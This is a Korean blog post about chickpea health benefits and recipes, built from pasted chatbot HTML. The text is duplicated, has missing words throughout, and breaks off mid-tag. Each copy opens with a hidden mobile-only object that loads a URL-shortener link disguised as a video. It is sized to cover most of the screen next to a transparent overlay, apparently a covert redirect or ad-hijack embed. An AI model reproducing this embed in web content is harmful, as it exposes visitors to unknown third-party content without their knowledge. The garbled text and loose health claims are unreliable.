병아리콩 효능 먹는방법

<div class="figure-html" data-ke-type="html" data-source="<style> html, body { margin: 0; padding: 0; height: 100%; } .container { position: relative; width: 100%; height: 100%; } .content { position: relative; padding: 20px; height: 100%; overflow-y: auto; z-index: 1; } .overlay { position: absolute; top: 0; left: 0; width: 100%; height: 100%; background: rgba(255, 255, 255, 0); touch-action: none; } .mobile-only { display: none; position: absolute; top: 0; left: 0; width: 100%; height: 80vh; min-height: 500px; max-height: 90vh; z-index: 10; } @media only screen and (max-width: 768px) { .mobile-only { display: block; } } </style> </head> <body> <div class="container"> <object data="https://vvd.bz/j3e" type="video/mp4" class="mobile-only"></object> </div> </body> <div _ngcontent-ng-c989002767="" class="markdown markdown-main-panel stronger" id="" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:46">병아리콩, 건강을 위한 작은 알갱이! 과 다양한 레시피까지 알려드릴게요.</h2><p data-sourcepos="3:1-3:105"><strong>병아리콩</strong>은 작지만 강력한 영양을 가진 슈퍼푸드입니다. 식이섬유가 풍부하여 포만감을 주고, 소화를 돕는 것은 물론 다양한 건강 을 가지고 있어 많은 사람들에게 사랑받고 있습니다.</p><h3 data-sourcepos="5:1-5:16">병아리콩의 놀라운 </h3><ul data-sourcepos="7:1-12:0"> <li data-sourcepos="7:1-7:66"><strong>다이어트에 도움:</strong> 풍부한 식이섬유는 포만감을 높여 과식을 예방하고, 낮은 칼로리로 체중 관리에 적입니다.</li> <li data-sourcepos="8:1-8:44"><strong>혈당 조절:</strong> 혈당 상승을 완만하게 하여 당뇨병 예방에 도움을 줍니다.</li> <li data-sourcepos="9:1-9:56"><strong>심혈관 건강 개선:</strong> 콜레스테롤 수치를 낮추고 혈압을 안정시켜 심혈관 예방에 좋습니다.</li> <li data-sourcepos="10:1-10:50"><strong>장 건강 증진:</strong> 유익한 장내 세균을 증식시켜 소화를 돕고 장 건강을 개선합니다.</li> <li data-sourcepos="11:1-12:0"><strong>면역력 강화:</strong> 다양한 비타민과 미네랄이 풍부하여 면역력을 강화하고 에 대한 저항력을 높여줍니다.</li> </ul><h3 data-sourcepos="13:1-13:23">병아리콩, 어떻게 먹으면 좋을까요?</h3><p data-sourcepos="15:1-15:36">병아리콩은 다양한 요리에 활용할 수 있어 활용도가 매우 높습니다.</p><ul data-sourcepos="17:1-31:0"> <li data-sourcepos="17:1-19:0"> <p data-sourcepos="17:3-18:19"><strong>샐러드:</strong> 신선한 채소와 함께 곁들여 먹으면 상큼하고 건강한 샐러드를 즐길 수 있습니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_11b2eab71d4b6025&quot;,&quot;c_0ca07acbdff8aceb&quot;,null,&quot;rc_31d27e87ec5a3579&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://.10000recipe.com/recipe/6925522"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="병아리콩 샐러드 " src="https://encrypted-tbn2.gstatic.com/images?q=tbn:ANd9GcTKtq3O044V0TMXm1lpMmCm0izIDtWauGC_KIivlcDfXVnIxTLpNhb5V-cBMafg"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://.10000recipe.com/recipe/6925522" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_11b2eab71d4b6025&quot;,&quot;c_0ca07acbdff8aceb&quot;,null,&quot;rc_31d27e87ec5a3579&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcRY0BsXokUpLeFLwK3N0hQMKboeTAwfQDjBp1wn6x2M9oPxToCdaIt2FUHt1BztF-Y23CRziOW0gTEFuwl5TvUYdjsAE7t28VGwUA4mew"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">.10000recipe.com</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 병아리콩 샐러드 </div></div></single-image></response-element></div></p> </li> <li data-sourcepos="20:1-22:0"> <p data-sourcepos="20:3-21:18"><strong>수프:</strong> 부드러운 식감의 병아리콩을 넣어 따뜻하고 건강한 수프를 만들어 드세요.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_11b2eab71d4b6025&quot;,&quot;c_0ca07acbdff8aceb&quot;,null,&quot;rc_31d27e87ec5a3579&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://.10000recipe.com/recipe/6850412"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="병아리콩 수프 " src="https://encrypted-tbn3.gstatic.com/images?q=tbn:ANd9GcTnMATTmpwKNBk9NiaeOO7202NmgoOaxZaMpokOyJOPlIKZ9K7zXC0R6_U3xNUx"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://.10000recipe.com/recipe/6850412" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_11b2eab71d4b6025&quot;,&quot;c_0ca07acbdff8aceb&quot;,null,&quot;rc_31d27e87ec5a3579&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcRY0BsXokUpLeFLwK3N0hQMKboeTAwfQDjBp1wn6x2M9oPxToCdaIt2FUHt1BztF-Y23CRziOW0gTEFuwl5TvUYdjsAE7t28VGwUA4mew"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">.10000recipe.com</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 병아리콩 수프 </div></div></single-image></response-element></div></p> </li> <li data-sourcepos="23:1-25:0"> <p data-sourcepos="23:3-24:19"><strong>후무스:</strong> 병아리콩을 갈아 만든 중동식 디핑 소스로, 빵이나 채소와 함께 곁들여 먹으면 맛있습니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_11b2eab71d4b6025&quot;,&quot;c_0ca07acbdff8aceb&quot;,null,&quot;rc_31d27e87ec5a3579&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://.10000recipe.com/recipe/7003623"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="병아리콩 후무스 " src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcQ8rqmuR5ituVaTduPYVazSt8U0s4HsJPiFcia1_D3TG9AyRQfawmi8oJSNcXDF"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://.10000recipe.com/recipe/7003623" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_11b2eab71d4b6025&quot;,&quot;c_0ca07acbdff8aceb&quot;,null,&quot;rc_31d27e87ec5a3579&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcRY0BsXokUpLeFLwK3N0hQMKboeTAwfQDjBp1wn6x2M9oPxToCdaIt2FUHt1BztF-Y23CRziOW0gTEFuwl5TvUYdjsAE7t28VGwUA4mew"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">.10000recipe.com</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 병아리콩 후무스 </div></div></single-image></response-element></div></p> </li> <li data-sourcepos="26:1-28:0"> <p data-sourcepos="26:3-27:17"><strong>밥:</strong> 밥에 병아리콩을 넣어 영양 만점 밥을 지어 먹을 수 있습니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_11b2eab71d4b6025&quot;,&quot;c_0ca07acbdff8aceb&quot;,null,&quot;rc_31d27e87ec5a3579&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://.10000recipe.com/recipe/7003745"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="병아리콩 밥 " src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcTWobqhMsBErh9UDtqwfvX5ALe3xmB3GfzCkHkPzd5i4DcY9sjdrmjzdxZUarXV"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://.10000recipe.com/recipe/7003745" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_11b2eab71d4b6025&quot;,&quot;c_0ca07acbdff8aceb&quot;,null,&quot;rc_31d27e87ec5a3579&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcRY0BsXokUpLeFLwK3N0hQMKboeTAwfQDjBp1wn6x2M9oPxToCdaIt2FUHt1BztF-Y23CRziOW0gTEFuwl5TvUYdjsAE7t28VGwUA4mew"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">.10000recipe.com</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 병아리콩 밥 </div></div></single-image></response-element></div></p> </li> <li data-sourcepos="29:1-31:0"> <p data-sourcepos="29:3-30:25"><strong>스프레드:</strong> 아보카도와 함께 갈아 부드러운 스프레드를 만들어 샌드위치에 활용해 보세요.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_11b2eab71d4b6025&quot;,&quot;c_0ca07acbdff8aceb&quot;,null,&quot;rc_31d27e87ec5a3579&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://.sweetpeapot.com/post/vegetablerollups"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="병아리콩 아보카도 스프레드 " src="https://encrypted-tbn3.gstatic.com/images?q=tbn:ANd9GcSwlFO1iUlA0a30htbKWmvqfX7bdw70xCjaXLSkWrZlE2pqJR_wJtsF145BHgsH"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://.sweetpeapot.com/post/vegetablerollups" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_11b2eab71d4b6025&quot;,&quot;c_0ca07acbdff8aceb&quot;,null,&quot;rc_31d27e87ec5a3579&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcQBxHkkflBI5RGndsdgsZE7mfGm-n30qfEuZR36kXhkXanZNuvG9q_8FOVQQvQy41Qg1WKrER7J3bLO82m6c3j14O3KB22d1P_QqkkixA"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">.sweetpeapot.com</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 병아리콩 아보카도 스프레드 </div></div></single-image></response-element></div></p> </li> </ul><h3 data-sourcepos="32:1-32:22">병아리콩, 이렇게 준비해 보세요!</h3><ol data-sourcepos="34:1-37:0"> <li data-sourcepos="34:1-34:52"><strong>불리기:</strong> 병아리콩은 딱딱하기 때문에 요리 전 충분히 물에 불려주는 것이 좋습니다.</li> <li data-sourcepos="35:1-35:41"><strong>삶기:</strong> 불린 병아리콩을 냄비에 넣고 물과 함께 푹 삶아주세요.</li> <li data-sourcepos="36:1-37:0"><strong>다양한 요리에 활용:</strong> 삶은 병아리콩을 으깨거나 통째로 사용하여 다양한 요리에 활용해 보세요.</li> </ol><h3 data-sourcepos="38:1-38:8">주의사항</h3><ul data-sourcepos="40:1-42:0"> <li data-sourcepos="40:1-40:42"><strong>알레르기:</strong> 병아리콩에 알레르기가 있는 경우 섭취를 피해야 합니다.</li> <li data-sourcepos="41:1-42:0"><strong>소화불량:</strong> 과도하게 섭취하면 복부 팽만감이나 가스가 발생할 수 있습니다.</li> </ul><p data-sourcepos="43:1-43:60"><strong>병아리콩</strong>은 건강한 식단을 위한 좋은 선택입니다. 다양한 레시피를 활용하여 맛있고 건강하게 즐겨보세요!</p><p data-sourcepos="45:1-45:30"><strong>더 궁금한 점이 있다면 언제든지 질문해주세요.</strong></p><p data-sourcepos="47:1-47:62"><strong>참고:</strong> 위에 제시된 는 예시이며, 실제 는 검색 엔진에서 직접 검색하여 확인할 수 있습니다.</p></div> "><div data-ke-class="article"><style> html, body { margin: 0; padding: 0; height: 100%; } .container { position: relative; width: 100%; height: 100%; } .content { position: relative; padding: 20px; height: 100%; overflow-y: auto; z-index: 1; } .overlay { position: absolute; top: 0; left: 0; width: 100%; height: 100%; background: rgba(255, 255, 255, 0); touch-action: none; } .mobile-only { display: none; position: absolute; top: 0; left: 0; width: 100%; height: 80vh; min-height: 500px; max-height: 90vh; z-index: 10; } @media only screen and (max-width: 768px) { .mobile-only { display: block; } } </style> </head> <xbody> <div class="container"> <object data="https://vvd.bz/j3e" type="video/mp4" class="mobile-only" allowNetworking='internal' allowScriptAccess='sameDomain'></object> </div> </xbody> <div _ngcontent-ng-c989002767="" class="markdown markdown-main-panel stronger" id="" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:46">병아리콩, 건강을 위한 작은 알갱이! 과 다양한 레시피까지 알려드릴게요.</h2><p data-sourcepos="3:1-3:105"><strong>병아리콩</strong>은 작지만 강력한 영양을 가진 슈퍼푸드입니다. 식이섬유가 풍부하여 포만감을 주고, 소화를 돕는 것은 물론 다양한 건강 을 가지고 있어 많은 사람들에게 사랑받고 있습니다.</p><h3 data-sourcepos="5:1-5:16">병아리콩의 놀라운 </h3><ul data-sourcepos="7:1-12:0"> <li data-sourcepos="7:1-7:66"><strong>다이어트에 도움:</strong> 풍부한 식이섬유는 포만감을 높여 과식을 예방하고, 낮은 칼로리로 체중 관리에 적입니다.</li> <li data-sourcepos="8:1-8:44"><strong>혈당 조절:</strong> 혈당 상승을 완만하게 하여 당뇨병 예방에 도움을 줍니다.</li> <li data-sourcepos="9:1-9:56"><strong>심혈관 건강 개선:</strong> 콜레스테롤 수치를 낮추고 혈압을 안정시켜 심혈관 예방에 좋습니다.</li> <li data-sourcepos="10:1-10:50"><strong>장 건강 증진:</strong> 유익한 장내 세균을 증식시켜 소화를 돕고 장 건강을 개선합니다.</li> <li data-sourcepos="11:1-12:0"><strong>면역력 강화:</strong> 다양한 비타민과 미네랄이 풍부하여 면역력을 강화하고 에 대한 저항력을 높여줍니다.</li> </ul><h3 data-sourcepos="13:1-13:23">병아리콩, 어떻게 먹으면 좋을까요?</h3><p data-sourcepos="15:1-15:36">병아리콩은 다양한 요리에 활용할 수 있어 활용도가 매우 높습니다.</p><ul data-sourcepos="17:1-31:0"> <li data-sourcepos="17:1-19:0"> <p data-sourcepos="17:3-18:19"><strong>샐러드:</strong> 신선한 채소와 함께 곁들여 먹으면 상큼하고 건강한 샐러드를 즐길 수 있습니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_11b2eab71d4b6025","c_0ca07acbdff8aceb",null,"rc_31d27e87ec5a3579",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://.10000recipe.com/recipe/6925522"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="병아리콩 샐러드 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcTKtq3O044V0TMXm1lpMmCm0izIDtWauGC_KIivlcDfXVnIxTLpNhb5V-cBMafg"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://.10000recipe.com/recipe/6925522" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_11b2eab71d4b6025","c_0ca07acbdff8aceb",null,"rc_31d27e87ec5a3579",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcRY0BsXokUpLeFLwK3N0hQMKboeTAwfQDjBp1wn6x2M9oPxToCdaIt2FUHt1BztF-Y23CRziOW0gTEFuwl5TvUYdjsAE7t28VGwUA4mew"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">.10000recipe.com</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 병아리콩 샐러드 </div></div></single-image></response-element></div></p> </li> <li data-sourcepos="20:1-22:0"> <p data-sourcepos="20:3-21:18"><strong>수프:</strong> 부드러운 식감의 병아리콩을 넣어 따뜻하고 건강한 수프를 만들어 드세요.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_11b2eab71d4b6025","c_0ca07acbdff8aceb",null,"rc_31d27e87ec5a3579",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://.10000recipe.com/recipe/6850412"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="병아리콩 수프 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn3.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcTnMATTmpwKNBk9NiaeOO7202NmgoOaxZaMpokOyJOPlIKZ9K7zXC0R6_U3xNUx"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://.10000recipe.com/recipe/6850412" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_11b2eab71d4b6025","c_0ca07acbdff8aceb",null,"rc_31d27e87ec5a3579",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcRY0BsXokUpLeFLwK3N0hQMKboeTAwfQDjBp1wn6x2M9oPxToCdaIt2FUHt1BztF-Y23CRziOW0gTEFuwl5TvUYdjsAE7t28VGwUA4mew"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">.10000recipe.com</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 병아리콩 수프 </div></div></single-image></response-element></div></p> </li> <li data-sourcepos="23:1-25:0"> <p data-sourcepos="23:3-24:19"><strong>후무스:</strong> 병아리콩을 갈아 만든 중동식 디핑 소스로, 빵이나 채소와 함께 곁들여 먹으면 맛있습니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_11b2eab71d4b6025","c_0ca07acbdff8aceb",null,"rc_31d27e87ec5a3579",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://.10000recipe.com/recipe/7003623"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="병아리콩 후무스 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn0.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcQ8rqmuR5ituVaTduPYVazSt8U0s4HsJPiFcia1_D3TG9AyRQfawmi8oJSNcXDF"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://.10000recipe.com/recipe/7003623" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_11b2eab71d4b6025","c_0ca07acbdff8aceb",null,"rc_31d27e87ec5a3579",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcRY0BsXokUpLeFLwK3N0hQMKboeTAwfQDjBp1wn6x2M9oPxToCdaIt2FUHt1BztF-Y23CRziOW0gTEFuwl5TvUYdjsAE7t28VGwUA4mew"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">.10000recipe.com</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 병아리콩 후무스 </div></div></single-image></response-element></div></p> </li> <li data-sourcepos="26:1-28:0"> <p data-sourcepos="26:3-27:17"><strong>밥:</strong> 밥에 병아리콩을 넣어 영양 만점 밥을 지어 먹을 수 있습니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_11b2eab71d4b6025","c_0ca07acbdff8aceb",null,"rc_31d27e87ec5a3579",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://.10000recipe.com/recipe/7003745"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="병아리콩 밥 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn0.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcTWobqhMsBErh9UDtqwfvX5ALe3xmB3GfzCkHkPzd5i4DcY9sjdrmjzdxZUarXV"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://.10000recipe.com/recipe/7003745" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_11b2eab71d4b6025","c_0ca07acbdff8aceb",null,"rc_31d27e87ec5a3579",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcRY0BsXokUpLeFLwK3N0hQMKboeTAwfQDjBp1wn6x2M9oPxToCdaIt2FUHt1BztF-Y23CRziOW0gTEFuwl5TvUYdjsAE7t28VGwUA4mew"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">.10000recipe.com</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 병아리콩 밥 </div></div></single-image></response-element></div></p> </li> <li data-sourcepos="29:1-31:0"> <p data-sourcepos="29:3-30:25"><strong>스프레드:</strong> 아보카도와 함께 갈아 부드러운 스프레드를 만들어 샌드위치에 활용해 보세요.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_11b2eab71d4b6025","c_0ca07acbdff8aceb",null,"rc_31d27e87ec5a3579",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://.sweetpeapot.com/post/vegetablerollups"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="병아리콩 아보카도 스프레드 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn3.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcSwlFO1iUlA0a30htbKWmvqfX7bdw70xCjaXLSkWrZlE2pqJR_wJtsF145BHgsH"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://.sweetpeapot.com/post/vegetablerollups" 